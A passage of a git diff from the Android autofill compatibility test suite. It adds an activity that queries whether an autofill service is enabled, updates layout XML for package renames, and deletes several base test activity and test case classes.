+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofill.cts2;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.app.PendingIntent.CanceledException;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+
+/**
+ * An activity that queries its AutofillService status when started and immediately terminates
+ * itself.
+ */
+public class QueryAutofillStatusActivity extends Activity {
+
+    private static final String TAG = "QueryAutofillServiceStatusActivity";
+
+    // Autofill enable status, the value should be the same with AutofillManagerTest in
+    // CtsAutofillServiceTestCases.
+    private static final int AUTOFILL_ENABLE = 1;
+    private static final int AUTOFILL_DISABLE = 2;
+
+    private PendingIntent mPendingIntent;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        final Intent intent = getIntent();
+        mPendingIntent = intent.getParcelableExtra("finishBroadcast");
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        hasEnabledAutofillServicesAndFinish();
+    }
+
+    private void hasEnabledAutofillServicesAndFinish() {
+        // Check if the calling application provides a AutofillService that is enabled
+        final AutofillManager afm = getSystemService(AutofillManager.class);
+        final boolean enabled = afm.hasEnabledAutofillServices();
+        Log.w(TAG, "hasEnabledAutofillServices()= " + enabled);
+
+        if (mPendingIntent != null) {
+            try {
+                final int resultCode = enabled ? AUTOFILL_ENABLE : AUTOFILL_DISABLE;
+                mPendingIntent.send(resultCode);
+            } catch (CanceledException e) {
+                Log.w(TAG, "Pending intent " + mPendingIntent + " canceled");
+            }
+        }
+        finish();
+    }
+}
diff --git a/tests/autofillservice/res/drawable/my_drawable.xml b/tests/autofillservice/res/drawable/my_drawable.xml
index eb1b15a..62433d7 100644
--- a/tests/autofillservice/res/drawable/my_drawable.xml
+++ b/tests/autofillservice/res/drawable/my_drawable.xml
@@ -15,4 +15,5 @@
   * limitations under the License.
   -->
 
-<android.autofillservice.cts.MyDrawable xmlns:android="http://schemas.android.com/apk/res/android"/>
+<android.autofillservice.cts.testcore.MyDrawable
+    xmlns:android="http://schemas.android.com/apk/res/android"/>
diff --git a/tests/autofillservice/res/layout/all_autofill_able_views_activity.xml b/tests/autofillservice/res/layout/all_autofill_able_views_activity.xml
deleted file mode 100644
index 6920f19..0000000
--- a/tests/autofillservice/res/layout/all_autofill_able_views_activity.xml
+++ /dev/null
@@ -1,50 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
--->
-
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:orientation="vertical"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent">
-
-    <EditText android:id="@+id/editText" android:layout_width="wrap_content"
-        android:layout_height="wrap_content" android:visibility="gone"/>
-
-    <CheckBox android:id="@+id/compoundButton" android:layout_width="wrap_content"
-        android:layout_height="wrap_content" android:visibility="gone" />
-
-    <RadioGroup android:id="@+id/radioGroup" android:layout_width="wrap_content"
-        android:layout_height="wrap_content" android:visibility="gone">
-
-        <RadioButton android:id="@+id/radioButton1" android:layout_width="wrap_content"
-            android:layout_height="wrap_content" android:checked="true"/>
-
-        <RadioButton android:id="@+id/radioButton2" android:layout_width="wrap_content"
-            android:layout_height="wrap_content" />
-
-    </RadioGroup>
-
-    <Spinner android:id="@+id/spinner" android:layout_width="wrap_content"
-        android:layout_height="wrap_content" android:entries="@array/cc_expiration_values"
-        android:visibility="gone" />
-
-    <DatePicker android:id="@+id/datePicker" android:layout_width="wrap_content"
-        android:layout_height="wrap_content" android:visibility="gone" />
-
-    <TimePicker android:id="@+id/timePicker" android:layout_width="wrap_content"
-        android:layout_height="wrap_content" android:visibility="gone" />
-
-</LinearLayout>
diff --git a/tests/autofillservice/res/layout/checkout_activity.xml b/tests/autofillservice/res/layout/checkout_activity.xml
index 4197e43..83f5585 100644
--- a/tests/autofillservice/res/layout/checkout_activity.xml
+++ b/tests/autofillservice/res/layout/checkout_activity.xml
@@ -112,4 +112,24 @@
             android:text="Buy it" />
     </LinearLayout>
 
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <DatePicker android:id="@+id/datePicker"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"/>
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TimePicker android:id="@+id/timePicker"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"/>
+    </LinearLayout>
+
 </LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/fat_activity.xml b/tests/autofillservice/res/layout/fat_activity.xml
index 2efd33c..8a66004 100644
--- a/tests/autofillservice/res/layout/fat_activity.xml
+++ b/tests/autofillservice/res/layout/fat_activity.xml
@@ -137,7 +137,7 @@
 
     </LinearLayout>
 
-    <view class="android.autofillservice.cts.FatActivity$MyView"
+    <view class="android.autofillservice.cts.activities.FatActivity$MyView"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
         android:autofillHints="importantAmI">
diff --git a/tests/autofillservice/res/layout/virtual_container_activity.xml b/tests/autofillservice/res/layout/virtual_container_activity.xml
index e105d22..f4e9b85 100644
--- a/tests/autofillservice/res/layout/virtual_container_activity.xml
+++ b/tests/autofillservice/res/layout/virtual_container_activity.xml
@@ -44,7 +44,8 @@
             android:layout_height="wrap_content" />
     </LinearLayout>
 
-    <android.autofillservice.cts.VirtualContainerView xmlns:android="http://schemas.android.com/apk/res/android"
+    <android.autofillservice.cts.activities.VirtualContainerView
+        xmlns:android="http://schemas.android.com/apk/res/android"
         android:id="@+id/virtual_container_view"
         android:layout_width="fill_parent"
         android:layout_height="fill_parent"
diff --git a/tests/autofillservice/res/layout/webview_only_activity.xml b/tests/autofillservice/res/layout/webview_only_activity.xml
index 469028a..e78a22d 100644
--- a/tests/autofillservice/res/layout/webview_only_activity.xml
+++ b/tests/autofillservice/res/layout/webview_only_activity.xml
@@ -24,7 +24,7 @@
     android:focusableInTouchMode="true"
     android:orientation="vertical" >
 
-    <android.autofillservice.cts.MyWebView
+    <android.autofillservice.cts.activities.MyWebView
         android:id="@+id/my_webview"
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
deleted file mode 100644
index 6884f06..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.Activity;
-import android.graphics.Bitmap;
-import android.graphics.Rect;
-import android.os.Bundle;
-import android.view.PixelCopy;
-import android.view.View;
-import android.view.autofill.AutofillManager;
-
-import androidx.annotation.NonNull;
-
-import com.android.compatibility.common.util.RetryableException;
-import com.android.compatibility.common.util.SynchronousPixelCopy;
-import com.android.compatibility.common.util.Timeout;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
-  * Base class for all activities in this test suite
-  */
-public abstract class AbstractAutoFillActivity extends Activity {
-
-    private final CountDownLatch mDestroyedLatch = new CountDownLatch(1);
-    protected final String mTag = getClass().getSimpleName();
-    private MyAutofillCallback mCallback;
-
-    /**
-     * Run an action in the UI thread, and blocks caller until the action is finished.
-     */
-    public final void syncRunOnUiThread(Runnable action) {
-        syncRunOnUiThread(action, Timeouts.UI_TIMEOUT.ms());
-    }
-
-    /**
-     * Run an action in the UI thread, and blocks caller until the action is finished or it times
-     * out.
-     */
-    public final void syncRunOnUiThread(Runnable action, long timeoutMs) {
-        final CountDownLatch latch = new CountDownLatch(1);
-        runOnUiThread(() -> {
-            action.run();
-            latch.countDown();
-        });
-        try {
-            if (!latch.await(timeoutMs, TimeUnit.MILLISECONDS)) {
-                throw new RetryableException("action on UI thread timed out after %d ms",
-                        timeoutMs);
-            }
-        } catch (InterruptedException e) {
-            Thread.currentThread().interrupt();
-            throw new RuntimeException("Interrupted", e);
-        }
-    }
-
-    public AutofillManager getAutofillManager() {
-        return getSystemService(AutofillManager.class);
-    }
-
-    /**
-     * Takes a screenshot from the whole activity.
-     *
-     * <p><b>Note:</b> this screenshot only contains the contents of the activity, it doesn't
-     * include the autofill UIs; if you need to check that, please use
-     * {@link UiBot#takeScreenshot()} instead.
-     */
-    public Bitmap takeScreenshot() {
-        return takeScreenshot(findViewById(android.R.id.content).getRootView());
-    }
-
-    /**
-     * Takes a screenshot from the a view.
-     */
-    public Bitmap takeScreenshot(View view) {
-        final Rect srcRect = new Rect();
-        syncRunOnUiThread(() -> view.getGlobalVisibleRect(srcRect));
-        final Bitmap dest = Bitmap.createBitmap(
-                srcRect.width(), srcRect.height(), Bitmap.Config.ARGB_8888);
-
-        final SynchronousPixelCopy copy = new SynchronousPixelCopy();
-        final int copyResult = copy.request(getWindow(), srcRect, dest);
-        assertThat(copyResult).isEqualTo(PixelCopy.SUCCESS);
-
-        return dest;
-    }
-
-    /**
-     * Registers and returns a custom callback for autofill events.
-     *
-     * <p>Note: caller doesn't need to call {@link #unregisterCallback()}, it will be automatically
-     * unregistered on {@link #finish()}.
-     */
-    public MyAutofillCallback registerCallback() {
-        assertWithMessage("already registered").that(mCallback).isNull();
-        mCallback = new MyAutofillCallback();
-        getAutofillManager().registerCallback(mCallback);
-        return mCallback;
-    }
-
-    /**
-     * Unregister the callback from the {@link AutofillManager}.
-     *
-     * <p>This method just neeed to be called when a test case wants to explicitly test the behavior
-     * of the activity when the callback is unregistered.
-     */
-    protected void unregisterCallback() {
-        assertWithMessage("not registered").that(mCallback).isNotNull();
-        unregisterNonNullCallback();
-    }
-
-    /**
-     * Waits until {@link #onDestroy()} is called.
-     */
-    public void waintUntilDestroyed(@NonNull Timeout timeout) throws InterruptedException {
-        if (!mDestroyedLatch.await(timeout.ms(), TimeUnit.MILLISECONDS)) {
-            throw new RetryableException(timeout, "activity %s not destroyed", this);
-        }
-    }
-
-    private void unregisterNonNullCallback() {
-        getAutofillManager().unregisterCallback(mCallback);
-        mCallback = null;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        AutofillTestWatcher.registerActivity("onCreate()", this);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        // Activitiy is typically unregistered at finish(), but we need to unregister here too
-        // for the cases where it's destroyed due to a config change (like device rotation).
-        AutofillTestWatcher.unregisterActivity("onDestroy()", this);
-        mDestroyedLatch.countDown();
-    }
-
-    @Override
-    public void finish() {
-        finishOnly();
-        AutofillTestWatcher.unregisterActivity("finish()", this);
-    }
-
-    /**
-     * Finishes the activity, without unregistering it from {@link AutofillTestWatcher}.
-     */
-    void finishOnly() {
-        if (mCallback != null) {
-            unregisterNonNullCallback();
-        }
-        super.finish();
-    }
-
-    /**
-     * Clears focus from input fields.
-     */
-    public void clearFocus() {
-        throw new UnsupportedOperationException("Not implemented by " + getClass());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
deleted file mode 100644
index 154db78..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.widget.Button;
-import android.widget.DatePicker;
-import android.widget.EditText;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Base class for an activity that has the following fields:
- *
- * <ul>
- *   <li>A DatePicker (id: date_picker)
- *   <li>An EditText that is filled with the DatePicker when it changes (id: output)
- *   <li>An OK button that finishes it and navigates to the {@link WelcomeActivity}
- * </ul>
- *
- * <p>It's abstract because the sub-class must provide the view id, so it can support multiple
- * UI types (like calendar and spinner).
- */
-abstract class AbstractDatePickerActivity extends AbstractAutoFillActivity {
-
-    private static final long OK_TIMEOUT_MS = 1000;
-
-    static final String ID_DATE_PICKER = "date_picker";
-    static final String ID_OUTPUT = "output";
-
-    private DatePicker mDatePicker;
-    private EditText mOutput;
-    private Button mOk;
-
-    private FillExpectation mExpectation;
-    private CountDownLatch mOkLatch;
-
-    protected abstract int getContentView();
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(getContentView());
-
-        mDatePicker = (DatePicker) findViewById(R.id.date_picker);
-
-        mDatePicker.setOnDateChangedListener((v, y, m, d) -> updateOutputWithDate(y, m, d));
-
-        mOutput = (EditText) findViewById(R.id.output);
-        mOk = (Button) findViewById(R.id.ok);
-        mOk.setOnClickListener((v) -> ok());
-    }
-
-    public DatePicker getDatePicker() {
-        return mDatePicker;
-    }
-
-    private void updateOutputWithDate(int year, int month, int day) {
-        final String date = year + "/" + month + "/" + day;
-        mOutput.setText(date);
-    }
-
-    private void ok() {
-        final Intent intent = new Intent(this, WelcomeActivity.class);
-        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Good news everyone! The world didn't end!");
-        startActivity(intent);
-        if (mOkLatch != null) {
-            // Latch is not set when activity launched outside tests
-            mOkLatch.countDown();
-        }
-        finish();
-    }
-
-    /**
-     * Sets the expectation for an auto-fill request, so it can be asserted through
-     * {@link #assertAutoFilled()} later.
-     */
-    void expectAutoFill(String output, int year, int month, int day) {
-        mExpectation = new FillExpectation(output, year, month, day);
-        mOutput.addTextChangedListener(mExpectation.outputWatcher);
-        mDatePicker.setOnDateChangedListener((v, y, m, d) -> {
-            updateOutputWithDate(y, m, d);
-            mExpectation.dateListener.onDateChanged(v, y, m, d);
-        });
-    }
-
-    /**
-     * Asserts the activity was auto-filled with the values passed to
-     * {@link #expectAutoFill(String, int, int, int)}.
-     */
-    void assertAutoFilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        mExpectation.outputWatcher.assertAutoFilled();
-        mExpectation.dateListener.assertAutoFilled();
-    }
-
-    /**
-     * Visits the {@code output} in the UiThread.
-     */
-    void onOutput(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> v.visit(mOutput));
-    }
-
-    /**
-     * Sets the date in the {@link DatePicker}.
-     */
-    void setDate(int year, int month, int day) {
-        syncRunOnUiThread(() -> mDatePicker.updateDate(year, month, day));
-    }
-
-    /**
-     * Taps the ok button in the UI thread.
-     */
-    void tapOk() throws Exception {
-        mOkLatch = new CountDownLatch(1);
-        syncRunOnUiThread(() -> mOk.performClick());
-        boolean called = mOkLatch.await(OK_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) waiting for OK action", OK_TIMEOUT_MS)
-                .that(called).isTrue();
-    }
-
-    /**
-     * Holder for the expected auto-fill values.
-     */
-    private final class FillExpectation {
-        private final MultipleTimesTextWatcher outputWatcher;
-        private final OneTimeDateListener dateListener;
-
-        private FillExpectation(String output, int year, int month, int day) {
-            // Output is called twice: by the DateChangeListener and by auto-fill.
-            outputWatcher = new MultipleTimesTextWatcher("output", 2, mOutput, output);
-            dateListener = new OneTimeDateListener("datePicker", mDatePicker, year, month, day);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java
deleted file mode 100644
index 6e7b475..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.view.accessibility.AccessibilityEvent;
-
-import java.util.concurrent.TimeoutException;
-
-/**
- * Base class for test cases using {@link GridActivity}.
- */
-abstract class AbstractGridActivityTestCase
-        extends AutoFillServiceTestCase.AutoActivityLaunch<GridActivity> {
-
-    protected GridActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<GridActivity> getActivityRule() {
-        return new AutofillActivityTestRule<GridActivity>(GridActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-                postActivityLaunched();
-            }
-        };
-    }
-
-    /**
-     * Hook for subclass to customize activity after it's launched.
-     */
-    protected void postActivityLaunched() {
-    }
-
-    /**
-     * Focus to a cell and expect window event
-     */
-    protected void focusCell(int row, int column) throws TimeoutException {
-        mUiBot.waitForWindowChange(() -> mActivity.focusCell(row, column));
-    }
-
-    /**
-     * Focus to a cell and expect no window event.
-     */
-    protected void focusCellNoWindowChange(int row, int column) {
-        final AccessibilityEvent event;
-        try {
-            event = mUiBot.waitForWindowChange(() -> mActivity.focusCell(row, column),
-                    Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
-        } catch (WindowChangeTimeoutException ex) {
-            // no window events! looking good
-            return;
-        }
-        throw new IllegalStateException(String.format("Expect no window event when focusing to"
-                + " column %d row %d, but event happened: %s", row, column, event));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java
deleted file mode 100644
index 8def8d4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.view.View;
-import android.view.accessibility.AccessibilityEvent;
-
-import java.util.concurrent.TimeoutException;
-
-/**
- * Base class for test cases using {@link LoginActivity}.
- */
-public abstract class AbstractLoginActivityTestCase
-        extends AutoFillServiceTestCase.AutoActivityLaunch<LoginActivity> {
-
-    protected LoginActivity mActivity;
-
-    protected AbstractLoginActivityTestCase() {
-    }
-
-    protected AbstractLoginActivityTestCase(UiBot inlineUiBot) {
-        super(inlineUiBot);
-    }
-
-    @Override
-    protected AutofillActivityTestRule<LoginActivity> getActivityRule() {
-        return new AutofillActivityTestRule<LoginActivity>(
-                LoginActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    /**
-     * Requests focus on username and expect Window event happens.
-     */
-    protected void requestFocusOnUsername() throws TimeoutException {
-        mUiBot.waitForWindowChange(() -> mActivity.onUsername(View::requestFocus));
-    }
-
-    /**
-     * Requests focus on username and expect no Window event happens.
-     */
-    protected void requestFocusOnUsernameNoWindowChange() {
-        final AccessibilityEvent event;
-        try {
-            event = mUiBot.waitForWindowChange(() -> mActivity.onUsername(View::requestFocus),
-                    Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
-        } catch (WindowChangeTimeoutException ex) {
-            // no window events! looking good
-            return;
-        }
-        throw new IllegalStateException("Expect no window event when focusing to"
-                + " username, but event happened: " + event);
-    }
-
-    /**
-     * Requests focus on password and expect Window event happens.
-     */
-    protected void requestFocusOnPassword() throws TimeoutException {
-        mUiBot.waitForWindowChange(() -> mActivity.onPassword(View::requestFocus));
-    }
-
-    /**
-     * Clears focus from input fields by focusing on the parent layout.
-     */
-    protected void clearFocus() {
-        mActivity.clearFocus();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
deleted file mode 100644
index a997590..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.widget.Button;
-import android.widget.EditText;
-import android.widget.TimePicker;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Base class for an activity that has the following fields:
- *
- * <ul>
- *   <li>A TimePicker (id: date_picker)
- *   <li>An EditText that is filled with the TimePicker when it changes (id: output)
- *   <li>An OK button that finishes it and navigates to the {@link WelcomeActivity}
- * </ul>
- *
- * <p>It's abstract because the sub-class must provide the view id, so it can support multiple
- * UI types (like clock and spinner).
- */
-abstract class AbstractTimePickerActivity extends AbstractAutoFillActivity {
-
-    private static final long OK_TIMEOUT_MS = 1000;
-
-    static final String ID_TIME_PICKER = "time_picker";
-    static final String ID_OUTPUT = "output";
-
-    private TimePicker mTimePicker;
-    private EditText mOutput;
-    private Button mOk;
-
-    private FillExpectation mExpectation;
-    private CountDownLatch mOkLatch;
-
-    protected abstract int getContentView();
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(getContentView());
-
-        mTimePicker = (TimePicker) findViewById(R.id.time_picker);
-
-        mTimePicker.setOnTimeChangedListener((v, m, h) -> updateOutputWithTime(m, h));
-
-        mOutput = (EditText) findViewById(R.id.output);
-        mOk = (Button) findViewById(R.id.ok);
-        mOk.setOnClickListener((v) -> ok());
-    }
-
-    private void updateOutputWithTime(int hour, int minute) {
-        final String time = hour + ":" + minute;
-        mOutput.setText(time);
-    }
-
-    private void ok() {
-        final Intent intent = new Intent(this, WelcomeActivity.class);
-        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "It's Adventure Time!");
-        startActivity(intent);
-        if (mOkLatch != null) {
-            // Latch is not set when activity launched outside tests
-            mOkLatch.countDown();
-        }
-        finish();
-    }
-
-    /**
-     * Sets the expectation for an auto-fill request, so it can be asserted through
-     * {@link #assertAutoFilled()} later.
-     */
-    void expectAutoFill(String output, int hour, int minute) {
-        mExpectation = new FillExpectation(output, hour, minute);
-        mOutput.addTextChangedListener(mExpectation.outputWatcher);
-        mTimePicker.setOnTimeChangedListener((v, h, m) -> {
-            updateOutputWithTime(h, m);
-            mExpectation.timeListener.onTimeChanged(v, h, m);
-        });
-    }
-
-    /**
-     * Asserts the activity was auto-filled with the values passed to
-     * {@link #expectAutoFill(String, int, int)}.
-     */
-    void assertAutoFilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        mExpectation.timeListener.assertAutoFilled();
-        mExpectation.outputWatcher.assertAutoFilled();
-    }
-
-    /**
-     * Visits the {@code output} in the UiThread.
-     */
-    void onOutput(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> v.visit(mOutput));
-    }
-
-    /**
-     * Sets the time in the {@link TimePicker}.
-     */
-    void setTime(int hour, int minute) {
-        syncRunOnUiThread(() -> {
-            mTimePicker.setHour(hour);
-            mTimePicker.setMinute(minute);
-        });
-    }
-
-    /**
-     * Taps the ok button in the UI thread.
-     */
-    void tapOk() throws Exception {
-        mOkLatch = new CountDownLatch(1);
-        syncRunOnUiThread(() -> mOk.performClick());
-        boolean called = mOkLatch.await(OK_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) waiting for OK action", OK_TIMEOUT_MS)
-                .that(called).isTrue();
-    }
-
-    /**
-     * Holder for the expected auto-fill values.
-     */
-    private final class FillExpectation {
-        private final MultipleTimesTextWatcher outputWatcher;
-        private final MultipleTimesTimeListener timeListener;
-
-        private FillExpectation(String output, int hour, int minute) {
-            // Output is called twice: by the TimeChangeListener and by auto-fill.
-            outputWatcher = new MultipleTimesTextWatcher("output", 2, mOutput, output);
-            timeListener = new MultipleTimesTimeListener("timePicker", 1, mTimePicker, hour,
-                    minute);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewActivity.java
deleted file mode 100644
index ce11da8..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewActivity.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.SystemClock;
-import android.support.test.uiautomator.UiObject2;
-import android.view.KeyEvent;
-import android.widget.EditText;
-
-abstract class AbstractWebViewActivity extends AbstractAutoFillActivity {
-
-    public static final String FAKE_DOMAIN = "y.u.no.real.server";
-
-    public static final String HTML_NAME_USERNAME = "username";
-    public static final String HTML_NAME_PASSWORD = "password";
-
-    protected MyWebView mWebView;
-
-    protected UiObject2 getInput(UiBot uiBot, UiObject2 label) throws Exception {
-        // Then the input is next.
-        final UiObject2 parent = label.getParent();
-        UiObject2 previous = null;
-        for (UiObject2 child : parent.getChildren()) {
-            if (label.equals(previous)) {
-                if (child.getClassName().equals(EditText.class.getName())) {
-                    return child;
-                }
-                uiBot.dumpScreen("getInput() for " + child + "failed");
-                throw new IllegalStateException("Invalid class for " + child);
-            }
-            previous = child;
-        }
-        uiBot.dumpScreen("getInput() for label " + label + "failed");
-        throw new IllegalStateException("could not find username (label=" + label + ")");
-    }
-
-    public void dispatchKeyPress(int keyCode) {
-        runOnUiThread(() -> {
-            KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, keyCode);
-            mWebView.dispatchKeyEvent(keyEvent);
-            keyEvent = new KeyEvent(KeyEvent.ACTION_UP, keyCode);
-            mWebView.dispatchKeyEvent(keyEvent);
-        });
-        // wait webview to process the key event.
-        SystemClock.sleep(300);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewTestCase.java
deleted file mode 100644
index c189d85..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewTestCase.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-
